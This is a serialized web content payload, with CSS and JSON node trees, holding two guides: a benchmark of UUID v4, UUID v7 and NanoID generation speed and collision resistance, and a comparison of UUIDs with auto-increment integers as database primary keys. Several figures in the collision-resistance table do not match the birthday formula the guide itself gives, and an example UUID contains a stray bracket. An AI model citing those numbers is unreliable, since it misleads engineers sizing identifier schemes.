var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":220797},[220798,220799,220803,220806,220811,220812],{"id":220420,"depth":337,"text":220421},{"id":220459,"depth":337,"text":220460,"children":220800},[220801,220802],{"id":41465,"depth":343,"text":41466},{"id":220533,"depth":343,"text":220534},{"id":220540,"depth":337,"text":220541,"children":220804},[220805],{"id":26164,"depth":343,"text":26165},{"id":220632,"depth":337,"text":220633,"children":220807},[220808,220809,220810],{"id":220636,"depth":343,"text":220637},{"id":220686,"depth":343,"text":220687},{"id":220753,"depth":343,"text":220754},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Why random UUID v4 causes index fragmentation and how UUID v7 solves it.",{"immutable":363},"\u002Fguides\u002Fuuid-database-indexing",{"title":220412,"description":220813},"guides\u002Fuuid-database-indexing","i9xJ8836HGZOxjdndN5PeWW3FW_XR1DRG_DuMWk9N-0",{"id":220820,"title":220821,"body":220822,"date":2070,"description":221340,"extension":361,"meta":221341,"navigation":363,"path":221342,"readingTime":1710,"seo":221343,"stem":221344,"__hash__":221345},"guides\u002Fguides\u002Fuuid-generation-performance.md","UUID Generation Performance Compared",{"type":8,"value":220823,"toc":221320},[220824,220827,220831,220834,220837,220843,220846,220849,220855,220859,220862,220868,220872,220875,220949,220953,220956,220960,220966,220970,220973,221019,221022,221026,221029,221034,221037,221094,221098,221101,221105,221108,221155,221158,221162,221214,221224,221231,221233,221290,221292,221309,221311,221317],[16,220825,220826],{},"Choosing an ID generation strategy involves trade-offs between speed, uniqueness guarantees, storage size, and sortability. UUID v4, UUID v7, and NanoID are three of the most widely used options, each with distinct performance characteristics. This guide benchmarks their generation speed and compares their collision resistance so you can pick the right tool for your throughput requirements.",[11,220828,220830],{"id":220829},"the-three-contenders","The Three Contenders",[33,220832,43592],{"id":220833},"uuid-v4",[16,220835,220836],{},"122 random bits generated by a cryptographically secure random number generator (CSPRNG). Fully random, no sequential component.",[135,220838,220841],{"className":220839,"code":220840,"language":140},[138],"f47ac10b-58cc-4372-a567-0e02b2c3d479\n",[143,220842,220840],{"__ignoreMap":141},[33,220844,220579],{"id":220845},"uuid-v7",[16,220847,220848],{},"48-bit millisecond timestamp + 74 random bits (after version and variant markers). Monotonically increasing within a millisecond, with random bits for uniqueness.",[135,220850,220853],{"className":220851,"code":220852,"language":140},[138],"0192d6c4-a801-7abc-8000-1a2b3c4d5e6f\n",[143,220854,220852],{"__ignoreMap":141},[33,220856,220858],{"id":220857},"nanoid","NanoID",[16,220860,220861],{},"21-character URL-safe string using a 64-character alphabet. 126 bits of entropy from a CSPRNG. Compact and web-friendly.",[135,220863,220866],{"className":220864,"code":220865,"language":140},[138],"V1StGXR8_Z5jdHi6B-myT\n",[143,220867,220865],{"__ignoreMap":141},[11,220869,220871],{"id":220870},"generation-speed-benchmarks","Generation Speed Benchmarks",[16,220873,220874],{},"The following benchmarks measure single-threaded ID generation in Node.js 22 on an x86-64 machine. Each test generates 1 million IDs using the most popular library for each format.",[193,220876,220877,220893],{},[196,220878,220879],{},[199,220880,220881,220883,220885,220888,220891],{},[202,220882,13018],{},[202,220884,187639],{},[202,220886,220887],{},"Time (1M IDs)",[202,220889,220890],{},"IDs\u002Fsecond",[202,220892,219615],{},[211,220894,220895,220914,220931],{},[199,220896,220897,220899,220905,220908,220911],{},[216,220898,43592],{},[216,220900,220901,220904],{},[143,220902,220903],{},"uuid"," (v10)",[216,220906,220907],{},"1,420 ms",[216,220909,220910],{},"~704,000",[216,220912,220913],{},"Baseline",[199,220915,220916,220918,220922,220925,220928],{},[216,220917,220579],{},[216,220919,220920,220904],{},[143,220921,220903],{},[216,220923,220924],{},"1,380 ms",[216,220926,220927],{},"~725,000",[216,220929,220930],{},"+3%",[199,220932,220933,220935,220940,220943,220946],{},[216,220934,220858],{},[216,220936,220937,220939],{},[143,220938,220857],{}," (v5)",[216,220941,220942],{},"920 ms",[216,220944,220945],{},"~1,087,000",[216,220947,220948],{},"+54%",[33,220950,220952],{"id":220951},"why-nanoid-is-fastest","Why NanoID Is Fastest",[16,220954,220955],{},"NanoID uses a custom alphabet and a faster random byte generation path. Instead of formatting 16 bytes into hex-with-hyphens, it maps random bytes directly to URL-safe characters. The shorter output string also reduces memory allocation overhead.",[33,220957,220959],{"id":220958},"why-uuid-v7-beats-uuid-v4","Why UUID v7 Beats UUID v4",[16,220961,220962,220963,220965],{},"Counterintuitively, UUID v7 generation is slightly faster than v4 in most implementations. The reason: ",[143,220964,99708],{}," (a single OS call) replaces 2 bytes of CSPRNG output. Reading the system clock is cheaper than generating additional random bytes.",[33,220967,220969],{"id":220968},"multi-threaded-scaling","Multi-Threaded Scaling",[16,220971,220972],{},"On a 4-core system with worker threads:",[193,220974,220975,220987],{},[196,220976,220977],{},[199,220978,220979,220981,220984],{},[202,220980,13018],{},[202,220982,220983],{},"4 threads × 1M IDs",[202,220985,220986],{},"Total IDs\u002Fsecond",[211,220988,220989,220999,221009],{},[199,220990,220991,220993,220996],{},[216,220992,43592],{},[216,220994,220995],{},"5,400 ms",[216,220997,220998],{},"~741,000",[199,221000,221001,221003,221006],{},[216,221002,220579],{},[216,221004,221005],{},"5,200 ms",[216,221007,221008],{},"~769,000",[199,221010,221011,221013,221016],{},[216,221012,220858],{},[216,221014,221015],{},"3,100 ms",[216,221017,221018],{},"~1,290,000",[16,221020,221021],{},"UUID v4 and v7 scale nearly linearly because their randomness is independent per thread. NanoID scales slightly better due to lower per-ID allocation cost.",[11,221023,221025],{"id":221024},"collision-resistance","Collision Resistance",[16,221027,221028],{},"Collision probability depends on the number of entropy bits and the total number of IDs generated. The Birthday Problem approximation gives:",[16,221030,221031],{},[47,221032,221033],{},"P(collision) ≈ n² \u002F (2 × 2^k)",[16,221035,221036],{},"where n is the number of IDs and k is the entropy bit count.",[193,221038,221039,221054],{},[196,221040,221041],{},[199,221042,221043,221045,221048,221051],{},[202,221044,13018],{},[202,221046,221047],{},"Entropy Bits",[202,221049,221050],{},"IDs for 50% Collision",[202,221052,221053],{},"IDs for 10⁻⁹ Collision",[211,221055,221056,221069,221082],{},[199,221057,221058,221060,221063,221066],{},[216,221059,43592],{},[216,221061,221062],{},"122",[216,221064,221065],{},"2.17 × 10¹⁸",[216,221067,221068],{},"5.28 × 10¹⁴",[199,221070,221071,221073,221076,221079],{},[216,221072,220579],{},[216,221074,221075],{},"74 (within 1ms)",[216,221077,221078],{},"4.2 × 10¹⁰",[216,221080,221081],{},"10.2 × 10⁶",[199,221083,221084,221086,221088,221091],{},[216,221085,220858],{},[216,221087,35571],{},[216,221089,221090],{},"8.6 × 10¹⁸",[216,221092,221093],{},"2.1 × 10¹⁵",[33,221095,221097],{"id":221096},"the-uuid-v7-subtlety","The UUID v7 Subtlety",[16,221099,221100],{},"UUID v7's collision resistance depends on the time window. Within the same millisecond, only 74 random bits separate two IDs. If your system generates more than ~10 million IDs per millisecond, the collision probability within that millisecond exceeds 10⁻⁹. In practice, this threshold is unreachable for any real application, but it is worth noting for ultra-high-throughput scenarios.",[33,221102,221104],{"id":221103},"nanoid-custom-alphabets","NanoID Custom Alphabets",[16,221106,221107],{},"NanoID lets you reduce the alphabet size for shorter IDs, but this reduces entropy:",[135,221109,221111],{"className":1607,"code":221110,"language":1609,"meta":141,"style":141},"import { customAlphabet } from 'nanoid';\n\u002F\u002F 8-char ID with 36-char alphabet: 41.6 bits of entropy\nconst shortId = customAlphabet('0123456789abcdefghijklmnopqrstuvwxyz', 8);\n",[143,221112,221113,221127,221132],{"__ignoreMap":141},[1560,221114,221115,221117,221120,221122,221125],{"class":1562,"line":1563},[1560,221116,8162],{"class":1669},[1560,221118,221119],{"class":1570}," { customAlphabet } ",[1560,221121,8168],{"class":1669},[1560,221123,221124],{"class":5634}," 'nanoid'",[1560,221126,2228],{"class":1570},[1560,221128,221129],{"class":1562,"line":337},[1560,221130,221131],{"class":1649},"\u002F\u002F 8-char ID with 36-char alphabet: 41.6 bits of entropy\n",[1560,221133,221134,221136,221139,221141,221144,221146,221149,221151,221153],{"class":1562,"line":343},[1560,221135,8180],{"class":1669},[1560,221137,221138],{"class":1576}," shortId",[1560,221140,8186],{"class":1669},[1560,221142,221143],{"class":1566}," customAlphabet",[1560,221145,1688],{"class":1570},[1560,221147,221148],{"class":5634},"'0123456789abcdefghijklmnopqrstuvwxyz'",[1560,221150,1459],{"class":1570},[1560,221152,10078],{"class":1576},[1560,221154,1744],{"class":1570},[16,221156,221157],{},"A 41.6-bit ID reaches 50% collision at ~33 million IDs — fine for session tokens, dangerous for primary keys.",[11,221159,221161],{"id":221160},"storage-and-transport-size","Storage and Transport Size",[193,221163,221164,221178],{},[196,221165,221166],{},[199,221167,221168,221170,221173,221176],{},[202,221169,13018],{},[202,221171,221172],{},"Bytes (binary)",[202,221174,221175],{},"Bytes (string)",[202,221177,202002],{},[211,221179,221180,221192,221202],{},[199,221181,221182,221185,221187,221190],{},[216,221183,221184],{},"UUID",[216,221186,10057],{},[216,221188,221189],{},"36 (with hyphens)",[216,221191,42145],{},[199,221193,221194,221196,221198,221200],{},[216,221195,220858],{},[216,221197,3060],{},[216,221199,4772],{},[216,221201,4772],{},[199,221203,221204,221207,221209,221212],{},[216,221205,221206],{},"INT (auto-increment)",[216,221208,12546],{},[216,221210,221211],{},"~10",[216,221213,221211],{},[16,221215,221216,221217,221220,221221,221223],{},"When stored as text in a database column (",[143,221218,221219],{},"VARCHAR(36)","), UUIDs consume 36 bytes per row — 9x more than a 4-byte integer. Stored as ",[143,221222,221184],{}," type (PostgreSQL), the binary representation uses 16 bytes.",[16,221225,221226,221227,221230],{},"NanoID's 21-character string uses 21 bytes as ",[143,221228,221229],{},"VARCHAR(21)",", but it cannot be stored as a compact binary type without custom encoding.",[11,221232,51392],{"id":51391},[193,221234,221235,221244],{},[196,221236,221237],{},[199,221238,221239,221242],{},[202,221240,221241],{},"Requirement",[202,221243,68605],{},[211,221245,221246,221253,221260,221267,221274,221282],{},[199,221247,221248,221251],{},[216,221249,221250],{},"Maximum generation speed",[216,221252,220858],{},[199,221254,221255,221258],{},[216,221256,221257],{},"Database primary key (indexed)",[216,221259,220579],{},[199,221261,221262,221265],{},[216,221263,221264],{},"Distributed system, no coordination",[216,221266,220579],{},[199,221268,221269,221272],{},[216,221270,221271],{},"URL-safe, compact IDs",[216,221273,220858],{},[199,221275,221276,221279],{},[216,221277,221278],{},"Maximum collision resistance",[216,221280,221281],{},"NanoID \u002F UUID v4",[199,221283,221284,221287],{},[216,221285,221286],{},"Backward compatibility with existing UUID columns",[216,221288,221289],{},"UUID v7 (drop-in replacement)",[11,221291,1355],{"id":1354},[41,221293,221294,221297,221300,221303,221306],{},[44,221295,221296],{},"NanoID generates IDs roughly 50% faster than UUID v4\u002Fv7 due to simpler formatting and shorter output.",[44,221298,221299],{},"UUID v7 is slightly faster than UUID v4 because the clock read replaces two bytes of random generation.",[44,221301,221302],{},"All three formats provide adequate collision resistance for practical use — even UUID v7's within-millisecond entropy exceeds 10 million IDs before collision risk rises meaningfully.",[44,221304,221305],{},"UUID v7 is the best primary key choice because it combines sortability (time-ordered) with uniqueness.",[44,221307,221308],{},"NanoID is ideal for URL-safe, compact identifiers where database indexing is not the primary concern.",[11,221310,286],{"id":285},[16,221312,221313,221314,221316],{},"Generate your own UUIDs and compare v4 vs v7 side by side using the ",[98,221315,170971],{"href":170970},". Notice how v7 values sort chronologically while v4 values appear fully random.",[2043,221318,221319],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":221321},[221322,221327,221332,221336,221337,221338,221339],{"id":220829,"depth":337,"text":220830,"children":221323},[221324,221325,221326],{"id":220833,"depth":343,"text":43592},{"id":220845,"depth":343,"text":220579},{"id":220857,"depth":343,"text":220858},{"id":220870,"depth":337,"text":220871,"children":221328},[221329,221330,221331],{"id":220951,"depth":343,"text":220952},{"id":220958,"depth":343,"text":220959},{"id":220968,"depth":343,"text":220969},{"id":221024,"depth":337,"text":221025,"children":221333},[221334,221335],{"id":221096,"depth":343,"text":221097},{"id":221103,"depth":343,"text":221104},{"id":221160,"depth":337,"text":221161},{"id":51391,"depth":337,"text":51392},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Benchmark v4 vs v7 vs NanoID generation speed and collision resistance at scale.",{"immutable":363},"\u002Fguides\u002Fuuid-generation-performance",{"title":220821,"description":221340},"guides\u002Fuuid-generation-performance","LC45Rx5MapbmSPk5bOO8FD5UWyPmu60rz6zruSdEpvw",{"id":221347,"title":221348,"body":221349,"date":2070,"description":221885,"extension":361,"meta":221886,"navigation":363,"path":221887,"readingTime":1710,"seo":221888,"stem":221889,"__hash__":221890},"guides\u002Fguides\u002Fuuids-as-database-keys.md","When to Use UUIDs as Database Primary Keys",{"type":8,"value":221350,"toc":221865},[221351,221355,221358,221362,221364,221367,221413,221415,221443,221447,221449,221452,221497,221501,221554,221556,221560,221563,221588,221592,221652,221661,221665,221668,221693,221697,221708,221711,221785,221789,221792,221819,221822,221824,221849,221851,221857,221862],[11,221352,221354],{"id":221353},"the-primary-key-decision","The Primary Key Decision",[16,221356,221357],{},"Choosing between auto-incrementing integers and UUIDs as primary keys affects your entire system. The right choice depends on your scale, architecture, and operational requirements. Neither option is universally better — each carries distinct tradeoffs.",[11,221359,221361],{"id":221360},"auto-increment-ids-simple-and-fast","Auto-Increment IDs: Simple and Fast",[33,221363,99176],{"id":99175},[16,221365,221366],{},"Sequential integer keys provide the best insert performance because database engines optimize for sequential writes. B-tree indexes stay balanced, pages fill efficiently, and the database never needs to split pages for out-of-order inserts.",[135,221368,221370],{"className":23599,"code":221369,"language":23601,"meta":141,"style":141},"-- PostgreSQL auto-increment\nCREATE TABLE users (\n  id SERIAL PRIMARY KEY,\n  email TEXT NOT NULL UNIQUE\n);\n\n-- Insert is fast — appends to end of index\nINSERT INTO users (email) VALUES ('user@example.com');\n-- id = 1, then 2, then 3...\n",[143,221371,221372,221377,221381,221385,221390,221394,221398,221403,221408],{"__ignoreMap":141},[1560,221373,221374],{"class":1562,"line":1563},[1560,221375,221376],{},"-- PostgreSQL auto-increment\n",[1560,221378,221379],{"class":1562,"line":337},[1560,221380,23608],{},[1560,221382,221383],{"class":1562,"line":343},[1560,221384,207919],{},[1560,221386,221387],{"class":1562,"line":365},[1560,221388,221389],{},"  email TEXT NOT NULL UNIQUE\n",[1560,221391,221392],{"class":1562,"line":889},[1560,221393,1744],{},[1560,221395,221396],{"class":1562,"line":1710},[1560,221397,1702],{"emptyLinePlaceholder":363},[1560,221399,221400],{"class":1562,"line":1717},[1560,221401,221402],{},"-- Insert is fast — appends to end of index\n",[1560,221404,221405],{"class":1562,"line":1747},[1560,221406,221407],{},"INSERT INTO users (email) VALUES ('user@example.com');\n",[1560,221409,221410],{"class":1562,"line":2507},[1560,221411,221412],{},"-- id = 1, then 2, then 3...\n",[33,221414,61655],{"id":64222},[41,221416,221417,221426,221431,221437],{},[44,221418,221419,221422,221423,221425],{},[47,221420,221421],{},"Not unique across tables or databases",": ID 42 in ",[143,221424,192151],{}," means nothing without the table context",[44,221427,221428,221430],{},[47,221429,170718],{},": Attackers can enumerate records by incrementing IDs in API requests",[44,221432,221433,221436],{},[47,221434,221435],{},"Collision in distributed systems",": Two servers generating IDs independently will produce duplicate values",[44,221438,221439,221442],{},[47,221440,221441],{},"Merge conflicts",": Combining data from two databases with auto-increment keys requires remapping",[11,221444,221446],{"id":221445},"uuids-globally-unique-without-coordination","UUIDs: Globally Unique Without Coordination",[33,221448,99176],{"id":99369},[16,221450,221451],{},"UUIDs provide uniqueness without any central coordinator. Any system can generate a UUID at any time, and the probability of collision is negligible — approximately 1 in 2^122 for UUIDv4.",[135,221453,221455],{"className":23599,"code":221454,"language":23601,"meta":141,"style":141},"-- PostgreSQL UUID primary key\nCREATE TABLE users (\n  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),\n  email TEXT NOT NULL UNIQUE\n);\n\n-- Insert — UUID generated without coordination\nINSERT INTO users (email) VALUES ('user@example.com');\n-- id = a]b3f2c8-7d1a-4e9f-b5c6-1234567890ab\n",[143,221456,221457,221462,221466,221471,221475,221479,221483,221488,221492],{"__ignoreMap":141},[1560,221458,221459],{"class":1562,"line":1563},[1560,221460,221461],{},"-- PostgreSQL UUID primary key\n",[1560,221463,221464],{"class":1562,"line":337},[1560,221465,23608],{},[1560,221467,221468],{"class":1562,"line":343},[1560,221469,221470],{},"  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),\n",[1560,221472,221473],{"class":1562,"line":365},[1560,221474,221389],{},[1560,221476,221477],{"class":1562,"line":889},[1560,221478,1744],{},[1560,221480,221481],{"class":1562,"line":1710},[1560,221482,1702],{"emptyLinePlaceholder":363},[1560,221484,221485],{"class":1562,"line":1717},[1560,221486,221487],{},"-- Insert — UUID generated without coordination\n",[1560,221489,221490],{"class":1562,"line":1747},[1560,221491,221407],{},[1560,221493,221494],{"class":1562,"line":2507},[1560,221495,221496],{},"-- id = a]b3f2c8-7d1a-4e9f-b5c6-1234567890ab\n",[33,221498,221500],{"id":221499},"when-uuids-win","When UUIDs Win",[193,221502,221503,221512],{},[196,221504,221505],{},[199,221506,221507,221509],{},[202,221508,21080],{},[202,221510,221511],{},"Why UUIDs Help",[211,221513,221514,221522,221530,221538,221546],{},[199,221515,221516,221519],{},[216,221517,221518],{},"Multi-master replication",[216,221520,221521],{},"Each node generates IDs without conflicts",[199,221523,221524,221527],{},[216,221525,221526],{},"Microservices architecture",[216,221528,221529],{},"Services create entities independently",[199,221531,221532,221535],{},[216,221533,221534],{},"Offline-first applications",[216,221536,221537],{},"Clients generate IDs without connectivity",[199,221539,221540,221543],{},[216,221541,221542],{},"Merging datasets",[216,221544,221545],{},"No key remapping needed",[199,221547,221548,221551],{},[216,221549,221550],{},"Public API identifiers",[216,221552,221553],{},"Prevents enumeration attacks",[11,221555,8286],{"id":8285},[33,221557,221559],{"id":221558},"insert-performance","Insert Performance",[16,221561,221562],{},"Random UUIDs (v4) cause B-tree page splits because new values can land anywhere in the index. PostgreSQL resolves this partially with its UUID primary key optimization, but sequential keys still outperform for heavy write workloads.",[135,221564,221566],{"className":23599,"code":221565,"language":23601,"meta":141,"style":141},"-- Benchmark approximation (10M rows)\n-- SERIAL:          ~45 seconds\n-- UUID v4:         ~75 seconds\n-- UUID v7:         ~50 seconds (time-ordered)\n",[143,221567,221568,221573,221578,221583],{"__ignoreMap":141},[1560,221569,221570],{"class":1562,"line":1563},[1560,221571,221572],{},"-- Benchmark approximation (10M rows)\n",[1560,221574,221575],{"class":1562,"line":337},[1560,221576,221577],{},"-- SERIAL:          ~45 seconds\n",[1560,221579,221580],{"class":1562,"line":343},[1560,221581,221582],{},"-- UUID v4:         ~75 seconds\n",[1560,221584,221585],{"class":1562,"line":365},[1560,221586,221587],{},"-- UUID v7:         ~50 seconds (time-ordered)\n",[33,221589,221591],{"id":221590},"storage-size","Storage Size",[193,221593,221594,221607],{},[196,221595,221596],{},[199,221597,221598,221601,221604],{},[202,221599,221600],{},"Key Type",[202,221602,221603],{},"Size (bytes)",[202,221605,221606],{},"Index Size Impact",[211,221608,221609,221621,221633,221642],{},[199,221610,221611,221617,221619],{},[216,221612,221613,221616],{},[143,221614,221615],{},"SERIAL"," (INT32)",[216,221618,12546],{},[216,221620,134887],{},[199,221622,221623,221629,221631],{},[216,221624,221625,221628],{},[143,221626,221627],{},"BIGSERIAL"," (INT64)",[216,221630,10078],{},[216,221632,15466],{},[199,221634,221635,221637,221639],{},[216,221636,221184],{},[216,221638,10057],{},[216,221640,221641],{},"2-4x larger indexes",[199,221643,221644,221647,221649],{},[216,221645,221646],{},"UUID as TEXT",[216,221648,42145],{},[216,221650,221651],{},"4-9x larger indexes",[16,221653,221654,221655,221657,221658,221660],{},"Always store UUIDs as the native ",[143,221656,221184],{}," type, not as ",[143,221659,203787],{},". The binary format is 16 bytes versus 36 bytes for the string representation. This difference compounds across every foreign key reference and index.",[33,221662,221664],{"id":221663},"time-ordered-uuids","Time-Ordered UUIDs",[16,221666,221667],{},"UUIDv7 solves the page-split problem by encoding a timestamp in the first 48 bits. New values arrive in roughly sequential order, preserving B-tree insertion efficiency:",[135,221669,221671],{"className":1607,"code":221670,"language":1609,"meta":141,"style":141},"\u002F\u002F UUIDv7 structure (simplified)\n\u002F\u002F First 48 bits: Unix timestamp in milliseconds\n\u002F\u002F Remaining 74 bits: random data\n\u002F\u002F Result: roughly sequential, globally unique\n",[143,221672,221673,221678,221683,221688],{"__ignoreMap":141},[1560,221674,221675],{"class":1562,"line":1563},[1560,221676,221677],{"class":1649},"\u002F\u002F UUIDv7 structure (simplified)\n",[1560,221679,221680],{"class":1562,"line":337},[1560,221681,221682],{"class":1649},"\u002F\u002F First 48 bits: Unix timestamp in milliseconds\n",[1560,221684,221685],{"class":1562,"line":343},[1560,221686,221687],{"class":1649},"\u002F\u002F Remaining 74 bits: random data\n",[1560,221689,221690],{"class":1562,"line":365},[1560,221691,221692],{"class":1649},"\u002F\u002F Result: roughly sequential, globally unique\n",[11,221694,221696],{"id":221695},"foreign-key-impact","Foreign Key Impact",[16,221698,221699,221700,1459,221702,1466,221704,221707],{},"Every foreign key column inherits the primary key type. If your primary key is a UUID, every ",[143,221701,82999],{},[143,221703,83003],{},[143,221705,221706],{},"comment_id"," column across your entire schema stores 16 bytes instead of 4.",[16,221709,221710],{},"For a table with 100 million rows and 5 UUID foreign keys, that is 6 GB of additional storage compared to integer keys. Indexes on those foreign keys grow proportionally.",[135,221712,221714],{"className":23599,"code":221713,"language":23601,"meta":141,"style":141},"-- With UUID keys\nCREATE TABLE orders (\n  id UUID PRIMARY KEY DEFAULT gen_random_uuid(),\n  user_id UUID NOT NULL REFERENCES users(id),\n  product_id UUID NOT NULL REFERENCES products(id)\n  -- Two UUID FKs = 32 bytes per row just for references\n);\n\n-- With integer keys\nCREATE TABLE orders (\n  id SERIAL PRIMARY KEY,\n  user_id INT NOT NULL REFERENCES users(id),\n  product_id INT NOT NULL REFERENCES products(id)\n  -- Two INT FKs = 8 bytes per row for references\n);\n",[143,221715,221716,221721,221726,221730,221735,221740,221745,221749,221753,221758,221762,221766,221771,221776,221781],{"__ignoreMap":141},[1560,221717,221718],{"class":1562,"line":1563},[1560,221719,221720],{},"-- With UUID keys\n",[1560,221722,221723],{"class":1562,"line":337},[1560,221724,221725],{},"CREATE TABLE orders (\n",[1560,221727,221728],{"class":1562,"line":343},[1560,221729,221470],{},[1560,221731,221732],{"class":1562,"line":365},[1560,221733,221734],{},"  user_id UUID NOT NULL REFERENCES users(id),\n",[1560,221736,221737],{"class":1562,"line":889},[1560,221738,221739],{},"  product_id UUID NOT NULL REFERENCES products(id)\n",[1560,221741,221742],{"class":1562,"line":1710},[1560,221743,221744],{},"  -- Two UUID FKs = 32 bytes per row just for references\n",[1560,221746,221747],{"class":1562,"line":1717},[1560,221748,1744],{},[1560,221750,221751],{"class":1562,"line":1747},[1560,221752,1702],{"emptyLinePlaceholder":363},[1560,221754,221755],{"class":1562,"line":2507},[1560,221756,221757],{},"-- With integer keys\n",[1560,221759,221760],{"class":1562,"line":2524},[1560,221761,221725],{},[1560,221763,221764],{"class":1562,"line":2529},[1560,221765,207919],{},[1560,221767,221768],{"class":1562,"line":2534},[1560,221769,221770],{},"  user_id INT NOT NULL REFERENCES users(id),\n",[1560,221772,221773],{"class":1562,"line":2542},[1560,221774,221775],{},"  product_id INT NOT NULL REFERENCES products(id)\n",[1560,221777,221778],{"class":1562,"line":2558},[1560,221779,221780],{},"  -- Two INT FKs = 8 bytes per row for references\n",[1560,221782,221783],{"class":1562,"line":2570},[1560,221784,1744],{},[11,221786,221788],{"id":221787},"hybrid-approach","Hybrid Approach",[16,221790,221791],{},"Many production systems use both: a sequential integer as the primary key for internal joins and indexing, and a UUID exposed externally as a public identifier.",[135,221793,221795],{"className":23599,"code":221794,"language":23601,"meta":141,"style":141},"CREATE TABLE users (\n  id SERIAL PRIMARY KEY,          -- internal, fast joins\n  public_id UUID NOT NULL UNIQUE DEFAULT gen_random_uuid(),  -- external, safe to expose\n  email TEXT NOT NULL UNIQUE\n);\n",[143,221796,221797,221801,221806,221811,221815],{"__ignoreMap":141},[1560,221798,221799],{"class":1562,"line":1563},[1560,221800,23608],{},[1560,221802,221803],{"class":1562,"line":337},[1560,221804,221805],{},"  id SERIAL PRIMARY KEY,          -- internal, fast joins\n",[1560,221807,221808],{"class":1562,"line":343},[1560,221809,221810],{},"  public_id UUID NOT NULL UNIQUE DEFAULT gen_random_uuid(),  -- external, safe to expose\n",[1560,221812,221813],{"class":1562,"line":365},[1560,221814,221389],{},[1560,221816,221817],{"class":1562,"line":889},[1560,221818,1744],{},[16,221820,221821],{},"This gives you the performance of integer keys internally while protecting against enumeration and simplifying distributed generation externally.",[11,221823,1355],{"id":1354},[41,221825,221826,221829,221832,221835,221843,221846],{},[44,221827,221828],{},"Auto-increment integers provide the best insert performance and smallest storage footprint",[44,221830,221831],{},"UUIDs eliminate coordination overhead in distributed and multi-master systems",[44,221833,221834],{},"Random UUIDs (v4) cause B-tree page splits; time-ordered UUIDs (v7) mitigate this",[44,221836,221837,221838,221840,221841],{},"Always store UUIDs as native ",[143,221839,221184],{}," type, never as ",[143,221842,203787],{},[44,221844,221845],{},"Foreign key columns multiply the storage difference — consider the full schema impact",[44,221847,221848],{},"A hybrid approach separates internal performance from external safety",[11,221850,286],{"id":285},[16,221852,221853,221854,221856],{},"Generate UUIDs in any version with our free ",[98,221855,170971],{"href":170970},". Create UUIDv4, UUIDv7, and other versions instantly — all processing happens locally in your browser.",[16,221858,221859],{},[98,221860,221861],{"href":170970},"Try the UUID Generator →",[2043,221863,221864],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":221866},[221867,221868,221872,221876,221881,221882,221883,221884],{"id":221353,"depth":337,"text":221354},{"id":221360,"depth":337,"text":221361,"children":221869},[221870,221871],{"id":99175,"depth":343,"text":99176},{"id":64222,"depth":343,"text":61655},{"id":221445,"depth":337,"text":221446,"children":221873},[221874,221875],{"id":99369,"depth":343,"text":99176},{"id":221499,"depth":343,"text":221500},{"id":8285,"depth":337,"text":8286,"children":221877},[221878,221879,221880],{"id":221558,"depth":343,"text":221559},{"id":221590,"depth":343,"text":221591},{"id":221663,"depth":343,"text":221664},{"id":221695,"depth":337,"text":221696},{"id":221787,"depth":337,"text":221788},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Evaluate using UUIDs as database primary keys. Compare UUID vs auto-increment ID tradeoffs for distributed systems, replication, and 